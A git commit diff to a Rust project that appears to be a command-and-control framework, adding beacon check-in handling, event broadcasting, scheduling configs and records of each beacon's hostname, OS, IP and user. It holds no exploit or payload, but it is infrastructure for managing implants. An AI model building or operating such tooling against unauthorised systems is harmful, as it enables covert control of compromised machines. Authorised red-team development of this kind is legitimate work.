feat: event management and websocket for updates

This commit is contained in:
Andrew Rioux
2025-02-22 16:04:15 -05:00
parent 005048f1ce
commit faaa4d2d1a
48 changed files with 1409 additions and 204 deletions

View File

@@ -0,0 +1,50 @@
{
"db_name": "SQLite",
"query": "SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode\n FROM beacon_template t\n INNER JOIN beacon_config c ON c.config_id = t.config_id\n WHERE t.template_id = ?",
"describe": {
"columns": [
{
"name": "mode",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "regular_interval",
"ordinal": 1,
"type_info": "Integer"
},
{
"name": "random_min_time",
"ordinal": 2,
"type_info": "Integer"
},
{
"name": "random_max_time",
"ordinal": 3,
"type_info": "Integer"
},
{
"name": "cron_schedule",
"ordinal": 4,
"type_info": "Text"
},
{
"name": "cron_mode",
"ordinal": 5,
"type_info": "Text"
}
],
"parameters": {
"Right": 1
},
"nullable": [
true,
true,
true,
true,
true,
true
]
},
"hash": "04472775affd2b1694c05f5ab8125528bb5448e0378a7b9cf3ed58eaa2101d1e"
}

View File

@@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 2
},
"nullable": []
},
"hash": "6e5e4ddd5c8b60c2180ca4cadf1449dc8b8b37a8887cd5b01f1ca9d0a411b897"
}

View File

@@ -0,0 +1,50 @@
{
"db_name": "SQLite",
"query": "SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_config c ON c.config_id = i.config_id\n WHERE i.beacon_id = ?\n UNION\n SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,\n c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode\n FROM beacon_instance i\n INNER JOIN beacon_template t ON i.template_id = t.template_id\n INNER JOIN beacon_config c ON t.config_id = c.config_id\n WHERE i.beacon_id = ?",
"describe": {
"columns": [
{
"name": "mode",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "regular_interval",
"ordinal": 1,
"type_info": "Integer"
},
{
"name": "random_min_time",
"ordinal": 2,
"type_info": "Integer"
},
{
"name": "random_max_time",
"ordinal": 3,
"type_info": "Integer"
},
{
"name": "cron_schedule",
"ordinal": 4,
"type_info": "Text"
},
{
"name": "cron_mode",
"ordinal": 5,
"type_info": "Text"
}
],
"parameters": {
"Right": 2
},
"nullable": [
true,
true,
true,
true,
true,
true
]
},
"hash": "bb07fb691f373dea848c0368d4c36e4c2b079d2d1efc0006d43d6833023101a3"
}

View File

@@ -1,36 +1,26 @@
{
"db_name": "SQLite",
"query": "SELECT * FROM beacon_listener WHERE listener_id = ?",
"query": "SELECT port, domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"describe": {
"columns": [
{
"name": "listener_id",
"name": "port",
"ordinal": 0,
"type_info": "Integer"
},
{
"name": "port",
"ordinal": 1,
"type_info": "Integer"
},
{
"name": "public_ip",
"ordinal": 2,
"type_info": "Text"
},
{
"name": "domain_name",
"ordinal": 3,
"ordinal": 1,
"type_info": "Text"
},
{
"name": "certificate",
"ordinal": 4,
"ordinal": 2,
"type_info": "Blob"
},
{
"name": "privkey",
"ordinal": 5,
"ordinal": 3,
"type_info": "Blob"
}
],
@@ -38,13 +28,11 @@
"Right": 1
},
"nullable": [
false,
false,
false,
false,
false,
false
]
},
"hash": "e7dc753795b8976b14b5c4baec20d16eff715a4d2ffe93c6723bad368483fb69"
"hash": "f130d1b3b891a4f5d57b69bcf111230b85d7fb636517e825a42c2a59fc8b8311"
}

View File

@@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_instance\n (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)\n VALUES\n (?, ?, ?, \"\", ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 7
},
"nullable": []
},
"hash": "fa45ebf8fb26791336d5ab3701a3fc6fdf17d3eaddb0e5cff099e0396fe4dddd"
}

View File

@@ -15,5 +15,8 @@ serde = "1.0"
serde_json = "1.0"
axum-server = { version = "^0.7", features = ["tokio-rustls", "tls-rustls-no-provider"] }
rustls = { version = "0.23", default-features = false, features = ["ring", "std"] }
rcgen = "0.13.2"
rcgen = { version = "0.13.2", features = ["pem", "x509-parser", "crypto"] }
rustls-pki-types = "1.11.0"
axum-msgpack = "0.4.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
chrono = { version = "0.4.39", features = ["serde"] }

View File

@@ -1,3 +1,8 @@
use axum::{
http::StatusCode,
response::{IntoResponse, Response},
};
#[derive(Debug)]
pub enum Error {
Generic(String),
@@ -51,6 +56,12 @@ impl std::error::Error for Error {
}
}
impl IntoResponse for Error {
fn into_response(self) -> Response {
(StatusCode::INTERNAL_SERVER_ERROR, format!("{self}")).into_response()
}
}
impl std::str::FromStr for Error {
type Err = Self;

View File

@@ -1,18 +1,25 @@
use std::{
collections::HashMap,
sync::{Arc, RwLock},
collections::HashMap, net::SocketAddr, sync::{Arc, RwLock}
};
use axum::routing::{Router, get, post};
use rcgen::{Certificate, CertificateParams, KeyPair};
use rcgen::{CertificateParams, KeyPair};
use rustls::{RootCertStore, server::WebPkiClientVerifier};
use sqlx::SqlitePool;
use tokio::task::JoinHandle;
use tokio::{sync::broadcast, task::JoinHandle};
pub mod error;
mod router;
#[derive(Clone)]
pub enum BeaconEvent {
NewBeacon(String),
Checkin(String)
}
pub struct BeaconListenerHandle {
join_handle: JoinHandle<()>,
events_broadcast: broadcast::Sender<BeaconEvent>,
}
impl BeaconListenerHandle {
@@ -23,6 +30,10 @@ impl BeaconListenerHandle {
pub fn abort(&self) {
self.join_handle.abort()
}
pub fn event_subscribe(&self) -> broadcast::Receiver<BeaconEvent> {
self.events_broadcast.subscribe()
}
}
#[derive(Clone, Default)]
@@ -39,6 +50,7 @@ impl std::ops::Deref for BeaconListenerMap {
pub async fn start_all_listeners(
beacon_listener_map: BeaconListenerMap,
db: SqlitePool,
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>
) -> Result<(), crate::error::Error> {
rustls::crypto::ring::default_provider().install_default().expect("could not set up rustls");
@@ -53,6 +65,7 @@ pub async fn start_all_listeners(
beacon_listener_map.clone(),
listener.listener_id,
db.clone(),
beacon_event_broadcast.clone(),
)
.await?;
}
@@ -60,15 +73,8 @@ pub async fn start_all_listeners(
Ok(())
}
#[derive(Clone)]
struct ListenerState {
db: SqlitePool,
}
struct Listener {
listener_id: i64,
port: i64,
public_ip: String,
domain_name: String,
certificate: Vec<u8>,
privkey: Vec<u8>,
@@ -78,6 +84,7 @@ pub async fn start_listener(
beacon_listener_map: BeaconListenerMap,
listener_id: i64,
db: SqlitePool,
beacon_event_broadcast: tokio::sync::broadcast::Sender::<BeaconEvent>
) -> Result<(), crate::error::Error> {
{
let Ok(blm_handle) = beacon_listener_map.read() else {
@@ -94,29 +101,15 @@ pub async fn start_listener(
}
let listener = sqlx::query_as!(
Listener,
"SELECT * FROM beacon_listener WHERE listener_id = ?",
"SELECT port, domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
listener_id
)
.fetch_one(&db)
.await?;
let app: Router<()> = Router::new()
.route(
"/register_beacon",
post(|| async {
tracing::info!("Beacon attempting to register");
}),
)
.route(
"/test",
get(|| async {
tracing::info!("Hello");
"hi there"
}),
)
.with_state(ListenerState { db });
let sender = broadcast::Sender::new(128);
let hidden_app = Router::new().nest("/hidden_sparse", app);
let app = router::get_router(db, sender.clone());
let ca_cert = rustls::pki_types::CertificateDer::from(listener.certificate.clone());
@@ -175,7 +168,7 @@ pub async fn start_listener(
addr,
axum_server::tls_rustls::RustlsConfig::from_config(Arc::new(tls_config)),
)
.serve(hidden_app.into_make_service())
.serve(app.into_make_service_with_connect_info::<SocketAddr>())
.await;
if let Err(e) = res {
@@ -189,7 +182,7 @@ pub async fn start_listener(
));
};
blm_handle.insert(listener_id, BeaconListenerHandle { join_handle });
blm_handle.insert(listener_id, BeaconListenerHandle { join_handle, events_broadcast: sender });
Ok(())
}

View File

@@ -0,0 +1,149 @@
use std::net::SocketAddr;
use axum::{extract::{State, ConnectInfo}, routing::post, Router};
use axum_msgpack::MsgPack;
use sqlx::SqlitePool;
use tokio::sync::broadcast;
use sparse_actions::messages;
use crate::{BeaconEvent, error};
#[derive(Clone)]
pub struct ListenerState {
db: SqlitePool,
event_publisher: broadcast::Sender<BeaconEvent>,
}
#[axum::debug_handler]
pub async fn handle_checkin(
State(state): State<ListenerState>,
ConnectInfo(addr): ConnectInfo<SocketAddr>,
MsgPack(reg): MsgPack<messages::RegisterBeacon>,
) -> Result<MsgPack<messages::BeaconConfig>, error::Error> {
struct DbBeaconConfig {
mode: Option<String>,
regular_interval: Option<i64>,
random_min_time: Option<i64>,
random_max_time: Option<i64>,
cron_schedule: Option<String>,
cron_mode: Option<String>,
}
use messages::{CronTimezone, RuntimeConfig as RC};
fn parse_db_config(rec: DbBeaconConfig) -> Option<RC> {
Some(match &*rec.mode? {
"single" => RC::Oneshot,
"regular" => RC::Regular { interval: rec.regular_interval? as u64 },
"random" => RC::Random {
interval_min: rec.random_min_time? as u64,
interval_max: rec.random_max_time? as u64
},
"cron" => RC::Cron {
schedule: rec.cron_schedule?,
timezone: match &*rec.cron_mode? {
"utc" => CronTimezone::Utc,
"local" => CronTimezone::Local,
_ => None?
}
} ,
_ => None?
})
}
tracing::info!("Beacon {} connecting from {addr}", &reg.beacon_id);
let current_beacon_reg = sqlx::query_as!(
DbBeaconConfig,
r"SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,
c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode
FROM beacon_instance i
INNER JOIN beacon_config c ON c.config_id = i.config_id
WHERE i.beacon_id = ?
UNION
SELECT c.mode as mode, c.regular_interval as regular_interval, c.random_min_time as random_min_time,
c.random_max_time as random_max_time, c.cron_schedule as cron_schedule, c.cron_mode as cron_mode
FROM beacon_instance i
INNER JOIN beacon_template t ON i.template_id = t.template_id
INNER JOIN beacon_config c ON t.config_id = c.config_id
WHERE i.beacon_id = ?"r,
reg.beacon_id,
reg.beacon_id
)
.fetch_optional(&state.db)
.await?;
let current_beacon_reg = match current_beacon_reg {
Some(rec) => {
parse_db_config(rec)
},
None => {
let ip = format!("{}", addr.ip());
let cwd = reg
.cwd
.to_str()
.unwrap_or("(unknown)");
sqlx::query!(
r#"INSERT INTO beacon_instance
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
VALUES
(?, ?, ?, "", ?, ?, ?, ?)"#r,
reg.beacon_id,
reg.template_id,
ip,
cwd,
reg.operating_system,
reg.userent,
reg.hostname
)
.execute(&state.db)
.await?;
let rec = sqlx::query_as!(
DbBeaconConfig,
r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode
FROM beacon_template t
INNER JOIN beacon_config c ON c.config_id = t.config_id
WHERE t.template_id = ?",
reg.template_id
)
.fetch_one(&state.db)
.await?;
parse_db_config(rec)
}
};
let now = chrono::Utc::now();
sqlx::query!(
r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r,
reg.beacon_id,
now
)
.execute(&state.db)
.await?;
let current_beacon_reg = current_beacon_reg
.ok_or(error::Error::Generic("could not load configuration".to_string()))?;
Ok(MsgPack(messages::BeaconConfig {
runtime_config: current_beacon_reg
}))
}
pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender<BeaconEvent>) -> Router<()> {
Router::new()
.route(
"/checkin",
post(handle_checkin),
)
.route(
"/upload/:beaconid/:commandid",
post(|| async {
tracing::info!("Hello");
"hi there"
}),
)
.with_state(ListenerState { db, event_publisher })
}